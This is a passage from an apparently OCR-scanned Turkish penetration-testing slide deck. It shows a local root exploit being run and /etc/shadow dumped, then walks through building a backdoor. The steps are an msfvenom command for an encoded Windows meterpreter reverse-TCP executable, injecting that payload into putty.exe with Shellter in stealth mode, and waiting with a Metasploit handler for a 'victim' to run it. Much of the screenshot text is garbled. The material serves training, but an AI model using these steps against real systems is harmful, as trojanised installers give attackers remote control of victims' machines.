derliyoruz.

Ve bize derlenmis olarak a.out ciktisini veriyor.Bunuda ./a.out komutu ile
calistirdigimizda sistemde root kullanicisina gegiyoruz.

Bundan sonra sistemde istediginiz her seyi yapabilirsiniz.Sinirsiz yetkiye sahipsiniz.



admin@canyoupwnme: ~$ gcc localexploit.c
gcc localexploit.c
admin@canyoupwnme:~$ ls
s
a.out Llocalexploit.c
admin@canyoupwnme:~$ ./a.out

a.out
root@canyoupwnme : ~#

root@canyoupwnme: ~# whoaml
whoami
root
root@canyoupwnme: ~# cat /etc/shadow
Jetc/shad
(F0csce
59999

FHHYaaCbIjUtPPNank (cPONEtstWLVSTqGYEY AY Z9aY w7 tnW3SuRGxb1272ZBZ . hoQem/S/cgOf 4uI0: 16843: 0: 99999: 7:

rnotucan;oupanme.




S1zma Testi Ornekleri (Backdoor Hazirlama)

Sistemde yazilimsal agikliklardan yararlanmak yerine zararl bir dosya ile
sisteme sizabilirsiniz.Bu zararli dosyay! bir ¢ok farkli yolla
olusturabilirsiniz.Bilginiz olgusunde kendiniz yazabilirsiniz,msfvenom ile
kendiniz bir zararli uygulama olusturabilirsiniz ya da her hangi bir
uygulamaya payload yerlestirebilirsiniz.

Msfvenom ile Backdoor Olusturma

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.237.128
LPORT=4444 -f exe -o /root/Desktop/zararli.exe -e x86/shikata_ga_nai -i 20



S1zma Testi Ornekleri (Backdoor Hazirlama)

Simdi gelelim putty.exe ye Payloadimizi yerlestirmeye bunu yine
msfvenom ile yapabilmekteyiz.Ya da bunun icin baska bir alternatif olan
Shellter uygulamasi ile yapabilmekteyiz.Shellter windowsda calisan bir
uygulamadir fakat wine ile Linuxta

calistirnimaktadir. adresinden uygulamayi
indirebilirsiniz. adresindende putty.exe uygulamasini
indirebilirsiniz.


https://www.shellterproject.com/
http://www.putty.org/

S1zma Testi Ornekleri (Backdoor Hazirlama)

Daha sonra asagidaki ekran goruntulerindeki gibi yerlestirilecek payload
encoder haberlesilecel ip ve port bilgilerini shellter a girerek putty.exe artik
bizim hazirladigimiz backdoorumuz olacaktir.Her adim ekran
goruntulerinde mevcuttur.



-

Shellter UI [6.81
________ Coded By kyREcon REEEERE
W . ShellterPPoJect.com

PRRRERPRRERRERRERE; . EEEEEEEEEEEE
BREPEREFREAREARER, f FRREREREERRERE
PREREREERRRREE! PERERERRRERRER PRERERE

BREEEREREEE BR1. 1FREREERREEREREERE Bi, EREEEEREARERAR 4
PECPERPRRRRR GEEEEEEEEEEEEEEEEEEEEE BEECEERECREERE
BEREEERE GGRER ﬂ@ EﬁﬁﬂﬁEEEEEEEE@EEEEEﬁCfEEEEEEEEEEEE

shelker.exe

PEBAEPERERRERC, (L1, |
GEREL REARREER
gEe0f BRCERECEE

BEREE 2

BEEREREREC; .

BEEEf EREEERR

BRRRf PRRPRRRARR iPFRPERRER . PRRRRRER 1PPRRRRR i PRERE . PRRRE
EEEEFEEEEEEEElEEEEEEEE CPPPPRPE 1PPPRERR i PPARE . PREER
BRRPPtRPPRRRPRR iPRPRRER PREEPRER 1PPRPRRR i PRERE . PRRRE

EE @ CEEEEEPE EEEEEEEE
BERR CRPRRRL tPRREERRR
BEERF CEERER LE EPEREEG
BERR CRRPRRR PR PRRER L
BEEPEREERER PR PREEERG
BRRPERERRRR GR PRRERFRRG
CEEPEREERER: .FPREEEERG
,,,,,,,,,,,,, (EEEEREG

EEEEEEE@IEEEE G,
BRREERRL  tBE
BEEEERR LR BREE;
BRRERRE RG PRA
BEEREEE PR BEEE
BRRERRR PG PREREER
BEEREERRE. @ @EE@EE

locooooodooodooddooddodoodooooooo oo oo oo doo o
[Choose Operation Mode - AutorsManual <A-MsHD>: A
Perform Online Uersion Check? (Y NsHD>: N

PE Target: C:“\Documents and Settings mu2-:Desktop\putty.exe

d_‘Startl € & 12 sheler ]E shellter ¥I RTools |« l};‘@@ Liznem




BAIM IR AN MR
* Tracing Mode »
B

Status: Tracing has

Mote: In Auto Mode.
or a maximum
hosts and for

started! Press CTRL+C to interrupt tracing at any time.

Shellter will trace a random number of instructions
time of approximately 3@ seconds in native Windows
68 seconds when used in Wine.

DisASM.d11l was created successfully?

The following PEB flags have been reset:
1. PEB.BeingDebugged

2. PEB.NtGlobalFlagy

Instructions Traced:

11263

Tl-a[:ing Time Approx: B.521 mins.

-

Enabhle Stealth Mode? (Y/N-H>: 222

Enable Stealth Mode? C(Y/NsH>: ¥

'j'Start] & (3 12 shelter

| [ shetieer v1

shellcer. exe




-J-start] & [E 1 sheller

The following PEB flags have been reset:

1. PEB.BeingDehugged

2. PEB.MtGlobalFlay

Instructions Traced: 11263

Tracing Time Approx: B.521 mins.

Starting First Stage Filtering

e

* Firct Stage Filtering =
B T My e

Filtering Time Approx: B.AB288 nins.

Enable Stealth Mode? (Y¥/MN-/H):

BfEnable Stealth Mode? (¥-/NsH>: ¥

P e

x Payloads =
sermminenan:

Heterpreter_Reverse_TCP [stager]
Meterpreter_Reverse HTIP [stager]
Heterpreter_Reverse_HTTPS [stager]
Meterpreter_Bind_T [stager]
Shell_Reverse_TCP [stager]
£hell_Bind_TCP [stager]
WinExec

a listed payload or custom? (L/CrH>: L

]E Shellter ¥1

sheller. exe

RTools > [« () WL @ GA, 1:22FM



Instructions Traced: 11263

Tracing Time Approx: B.521 mins.

I|I Shellter_Backups
‘J JStarting First Stage Filtering...

Faq.bxt

56 30330 23R IR BB BN DI IEN
* First Stage Filtering *=
56 50336 33303 MMM BN DI R IR

shelter.exe
Filtering Time Approx: @.BB2B8 mins.

[Enable Stealth Mode? <(Y/N-H): 222

i able Stealth Mode? CY/N/HD: ¥

Reverse_TCP [stager]
Meterpreter_Reverse_HTTP [stager]
Meterpreter_Revers TTPS [stager]
Meterpreter_Bind_T [stager]
Shell_Reverse_TC] [stager]
Shell_Bind_ICP [stager]
WinExec

a listed payload or custom? (LACrH>: L

Select payload by index: 1

cosrrmmrerescssseasaereresasannieny

* meterpreter_reveprse_tcp *
B

[SET LHOST: 192.168.237.128
[SET LPORT: 4444

-J-start] € [@ 2 shelter ]E shellter vI RTooks [« () WG, 1:22PM




Section: .text ‘_V_]”ﬂ-Gn

Adjusting stub pointers to IAT_..

F Shellter_Backups
Done?

\

Adjusting Gall Instructions Relative Pointers... " fagubx

T

Done !

Injection Gompleted? shellcer. exe

BREIEM IR DI MR M
= PE Checksum Fix =
e

Status: Ualid PE Checksum has been set?
Original Checksum: Bx8%c@?
Computed Checksum: Bx8e25d

T —_q———

— _..._.ﬂ.. Info: Shellter will verify that the first instruction of the
injected code will be reached successfully.
If polymorphic code has been added. then the first
instruction refers to that and not to the effective
payload.
Max waiting time: 1@ seconds.

If the PE target spawns a child process of itself hefore
reaching the injection point. then the injected code u111
he executed in that process. In that case Shellter won't
have any control over it during this test.

¥You know what you are doing, right? ;o)

Injection: Uerified?

Press [Enter] to continue. ..

'J'Startj & [E | shelker

|[@shetberv RTools [« (
Artik backdoorumuz olustu.Enter a basarak shellter kapanacaktir.
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S1zma Testi Ornekleri (Backdoor Hazirlama)

Bundan sonraki kisim olusturdugumuz uygulamayi kurbanin galigtiriilmasi bir
senaryo ile bu saglanmalidir.

Metasploitimizi acarak multi handleri agcarak dinleme moduna gegiyoruz ve
uygulama calistigi anda oturum elde etmeye calisacagiz.

Artik her sey tamam sadece uygulayi kurbanimizin indirip galigtirmasi
gerekmektedir.

Uygulama acildiktan sonra backdoorumuzu olustururken haberlesmesi igin
girdigimiz ip ve port numaralariyla haberlesecek ve bize shell verecektir.



\ | L P a a [T systemctl start postgres...
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Burp_Suit. .. wifijamme... escbfec596...

|

pycharm-... scapy-2.3.2 Django-1.6 A

laudanum...  sslstrip-0.9

. D

phpshell-2.4  phishing.doc blogvl

h
@D

r57.php slowloris.pl Kevgir WM

s B »

shellwar  hoxafexvk.. mario.apk

— h B
! o o

WEB-INF privri57.php  £89.phtml

ftrymsp

]
]
]
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Ir pentest data
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S1zma Testi Ornekleri (Backdoor Hazirlama)

ai) [J root 06:25, 2017-01-12 |

Host: kali Uptime: 8h 55m 58s

MHz: 2301 Load: 6.13, 0.11, 0.08
Tasks: 2 f141 CPUB: 15% CPUl: 15%

A R

NAME CPU
ruby

Xorg

Jusr/bin/termin

conky

xfdesktop

RAM 35%
Swap 9%

root 37% free 10.76iB/

Down: 8B KBE/s Up: 6B KB/s
Downloaded: 22.3MiE Uploaded: 4.94MiB

Down: 8B KE/s Up: 8B KB/s
Downloaded: @B Uploaded: OB

Inbound: 2 Outbound: 2 Total: 4
Inbound Lecal Service/Port
localhost postgresql
localhost postgresgl

QOutbound
Llocalhost
localhest

Remote Service/Port
postgresgl
postgresgl




1zma Testi Ornekleri (Backdoor Hazirlama

- =
= CJ
‘ %

.

Categorn:

=k S_ession | Basic options for pour PUTTY session

i - Logging ~ Specify the destination you want to connect ta
(= Teminal

Kevboard Host Mame [or [P address| Port

el | |22
i e Features Cannection type:
EI Yfindow " Raw O Telnet © Rlogin & SSH  © Serial
. L. Appearance

- Behaviour ;
Translation Saved Sessions

i~ Load, save or delete a stored session

- Selection

- Colours Default 5 ettings Load |
onnection
- Data Save |

- Prowy

Telnet Delete |

- Rlogin
- S5H
Serial

Close window on exit
" Always O Mewer (% Only on clean exit

About | Open I Cancel

tﬂstartl E G |ﬁ PUTTY Configuration



S1zma Testi Ornekleri (Backdoor Hazirlama)

\ | L P a a [ systemctl start postgres... ) [ root 06:25, 2017-01-12

‘\ ‘ b
Burp_Suit... wifijamme... ecbfec596...

Host: kali Uptime: @h 56m 14s

B S S ey ste 2stgresql start, : ! i
- - A B Al y MHz: 2301 Load: 0.89, 0.10, .08

Tasks: 8 /143 CPUB: 29% CPUL: 29%

SRR o

pycharm-... scapy-2.3.2

-
NAME

D-TECT laudanum...  sslstrip-0.8 | iy
e Lar 2 vmtoolsd

Xorg
postgres

L » b HE', S ), Serwvice Pack 3). ; :
W 5 Jusr/bin/termin

phpshell-2.4 phishing.doc blogwl - § f'i"- ’ RAM 35%
i 5 1 Swap 0%

[

root 37% free 16.76iB/ 28.26GiB
D

r57.php slowloris.pl Kevgir WM
Down: 1.67KiB KB/s Up: 428KiB KB/s
Downloaded: 22.3MiE Uploaded: 6.83MiB

shellwar  hoxafoxvk.. maric.apk Down: 6B KB/s Up: 8B KB/s
Downloaded: 8B Uploaded: 0B

S \ 3 | | |
! -3 o

WEB-INF privr57.php  c99.phtmi i Inbound: 5 Outbound: 4 Total: 9
4 Inbound Local Service/Port

localhost postgresql
localhost postgresql
192.168.237.141 4444
Qutbound Remote Service/Port
localhost postgresql
localhest postgresql
Localhost postgresql




HERKESE TESEKKURLER...

Mail: info@gurelahmet.com

Blog: www.gurelahmet.com

Github: https://github.com/ahmetqgurel

Linkedin: https://tr.linkedin.com/in/ahmetqurell

Exploit-DB: https://www.exploit-db.com/author/?a=8736
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